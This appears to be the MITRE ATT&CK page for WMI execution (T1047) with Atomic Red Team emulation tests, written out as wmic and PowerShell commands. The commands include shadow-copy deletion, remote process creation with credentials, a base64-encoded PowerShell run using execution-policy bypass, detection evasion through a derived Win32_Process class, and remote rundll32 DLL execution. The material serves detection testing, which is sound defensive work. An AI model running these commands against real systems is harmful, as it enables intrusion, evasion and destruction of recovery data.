Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is designed for programmers and is the infrastructure for management data and operations on Windows systems.(Citation: WMI 1-3) WMI is an administration feature that provides a uniform environment to access Windows system components.The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model and Windows Remote Management.(Citation: WMI 1-3) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.(Citation: WMI 1-3) (Citation: Mandiant WMI)
An adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for Discovery as well as Execution of commands and payloads.(Citation: Mandiant WMI) For example,
wmic.exe
can be abused by an adversary to delete shadow copies with the commandwmic.exe Shadowcopy Delete
(i.e., Inhibit System Recovery).(Citation: WMI 6)Note:
wmic.exe
is deprecated as of January of 2024, with the WMIC feature being “disabled by default” on Windows 11+. WMIC will be removed from subsequent Windows releases and replaced by PowerShell as the primary WMI interface.(Citation: WMI 7,8) In addition to PowerShell and tools likewbemtool.exe
, COM APIs can also be used to programmatically interact with WMI via C++, .NET, VBScript, etc.(Citation: WMI 7,8)
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Atomic Test #7 - Create a Process using WMI Query and an Encoded Command
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Atomic Test #8 - Create a Process using obfuscated Win32_Process
An adversary might use WMI to list all local User Accounts. When the test completes , there should be local user accounts information displayed on the command line.
Supported Platforms: Windows
auto_generated_guid: c107778c-dcf5-47c5-af2e-1d058a3df3ea
wmic useraccount get /ALL /format:csv
An adversary might use WMI to list Processes running on the compromised host. When the test completes , there should be running processes listed on the command line.
Supported Platforms: Windows
auto_generated_guid: 5750aa16-0e59-4410-8b9a-8a47ca2788e2
wmic process get caption,executablepath,commandline /format:csv
An adversary might use WMI to list installed Software hotfix and patches. When the test completes, there should be a list of installed patches and when they were installed.
Supported Platforms: Windows
auto_generated_guid: 718aebaa-d0e0-471a-8241-c5afa69c7414
wmic qfe get description,installedOn /format:csv
An adversary might use WMI to check if a certain Remote Service is running on a remote device. When the test completes, a service information will be displayed on the screen if it exists. A common feedback message is that "No instance(s) Available" if the service queried is not running. A common error message is "Node - (provided IP or default) ERROR Description =The RPC server is unavailable" if the provided remote host is unreachable
Supported Platforms: Windows
auto_generated_guid: 0fd48ef7-d890-4e93-a533-f7dedd5191d3
Name | Description | Type | Default Value |
---|---|---|---|
node | Ip Address | string | 127.0.0.1 |
service_search_string | Name Of Service | string | Spooler |
wmic /node:"#{node}" service where (caption like "%#{service_search_string}%")
This test uses wmic.exe to execute a process on the local host. When the test completes , a new process will be started locally .A notepad application will be started when input is left on default.
Supported Platforms: Windows
auto_generated_guid: b3bdfc91-b33e-4c6d-a5c8-d64bee0276b3
Name | Description | Type | Default Value |
---|---|---|---|
process_to_execute | Name or path of process to execute. | string | notepad.exe |
wmic process call create #{process_to_execute}
wmic process where name='#{process_to_execute}' delete >nul 2>&1
This test uses wmic.exe to execute a process on a remote host. Specify a valid value for remote IP using the node parameter. To clean up, provide the same node input as the one provided to run the test A common error message is "Node - (provided IP or default) ERROR Description =The RPC server is unavailable" if the default or provided IP is unreachable
Supported Platforms: Windows
auto_generated_guid: 9c8ef159-c666-472f-9874-90c8d60d136b
Name | Description | Type | Default Value |
---|---|---|---|
node | Ip Address | string | 127.0.0.1 |
user_name | Username | string | DOMAIN\Administrator |
password | Password | string | P@ssw0rd1 |
process_to_execute | Name or path of process to execute. | string | notepad.exe |
wmic /user:#{user_name} /password:#{password} /node:"#{node}" process call create #{process_to_execute}
wmic /user:#{user_name} /password:#{password} /node:"#{node}" process where name='#{process_to_execute}' delete >nul 2>&1
Solarigate persistence is achieved via backdoors deployed via various techniques including using PowerShell with an EncodedCommand Powershell -nop -exec bypass -EncodedCommand Where the –EncodedCommand, once decoded, would resemble: Invoke-WMIMethod win32_process -name create -argumentlist ‘rundll32 c:\windows\idmu\common\ypprop.dll _XInitImageFuncPtrs’ -ComputerName WORKSTATION The EncodedCommand in this atomic is the following: Invoke-WmiMethod -Path win32_process -Name create -ArgumentList notepad.exe You should expect to see notepad.exe running after execution of this test. Solarigate Analysis from Microsoft
Supported Platforms: Windows
auto_generated_guid: 7db7a7f9-9531-4840-9b30-46220135441c
powershell -exec bypass -e SQBuAHYAbwBrAGUALQBXAG0AaQBNAGUAdABoAG8AZAAgAC0AUABhAHQAaAAgAHcAaQBuADMAMgBfAHAAcgBvAGMAZQBzAHMAIAAtAE4AYQBtAGUAIABjAHIAZQBhAHQAZQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIABuAG8AdABlAHAAYQBkAC4AZQB4AGUA
This test tries to mask process creation by creating a new class that inherits from Win32_Process. Indirect call of suspicious method such as Win32_Process::Create can break detection logic. Cybereason blog post No Win32_ProcessNeeded
Supported Platforms: Windows
auto_generated_guid: 10447c83-fc38-462a-a936-5102363b1c43
Name | Description | Type | Default Value |
---|---|---|---|
new_class | Derived class name | string | Win32_Atomic |
process_to_execute | Name or path of process to execute. | string | notepad.exe |
$Class = New-Object Management.ManagementClass(New-Object Management.ManagementPath("Win32_Process"))
$NewClass = $Class.Derive("#{new_class}")
$NewClass.Put()
Invoke-WmiMethod -Path #{new_class} -Name create -ArgumentList #{process_to_execute}
$CleanupClass = New-Object Management.ManagementClass(New-Object Management.ManagementPath("#{new_class}"))
try { $CleanupClass.Delete() } catch {}
This test uses wmic.exe to execute a DLL function using rundll32. Specify a valid value for remote IP using the node parameter.
Supported Platforms: Windows
auto_generated_guid: 00738d2a-4651-4d76-adf2-c43a41dfb243
Name | Description | Type | Default Value |
---|---|---|---|
node | Ip Address | string | 127.0.0.1 |
dll_to_execute | Path to DLL. | string | PathToAtomicsFolder\..\ExternalPayloads\calc.dll |
function_to_execute | Name of DLL function to call | string | StartW |
wmic /node:#{node} process call create "rundll32.exe \"#{dll_to_execute}\" #{function_to_execute}"
taskkill /f /im calculator.exe
Description: DLL with function to execute must exist on disk at specified location (#{dll_to_execute})
if (Test-Path "#{dll_to_execute}") {exit 0} else {exit 1}
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1047/bin/calc.dll?raw=true" -OutFile "#{dll_to_execute}"
Emulates uninstalling applications using WMIC. This method only works if the product was installed with an msi file. APTs have been seen using this to uninstall security products.
Supported Platforms: Windows
auto_generated_guid: c510d25b-1667-467d-8331-a56d3e9bc4ff
Name | Description | Type | Default Value |
---|---|---|---|
node | Computer the action is being executed against but defaults to the localhost. | string | 127.0.0.1 |
product | Enter the product name being uninstalled. This will default to TightVNC. | string | Tightvnc |
wmic /node:"#{node}" product where "name like '#{product}%%'" call uninstall
msiexec /i "PathToAtomicsFolder\..\ExternalPayloads\tightvncinstaller.msi" /qn /norestart
if ((Test-Path "C:\Program Files\TightVNC\tvnviewer.exe")-Or (Test-Path "C:\Program Files (x86)\TightVNC\tvnviewer.exe")) {exit 0} else {exit 1}
Invoke-WebRequest 'https://www.tightvnc.com/download/2.8.63/tightvnc-2.8.63-gpl-setup-64bit.msi' -OutFile "PathToAtomicsFolder\..\ExternalPayloads\tightvncinstaller.msi"
start-sleep -s 10
msiexec /i "PathToAtomicsFolder\..\ExternalPayloads\tightvncinstaller.msi" /qn /norestart
start-sleep -s 15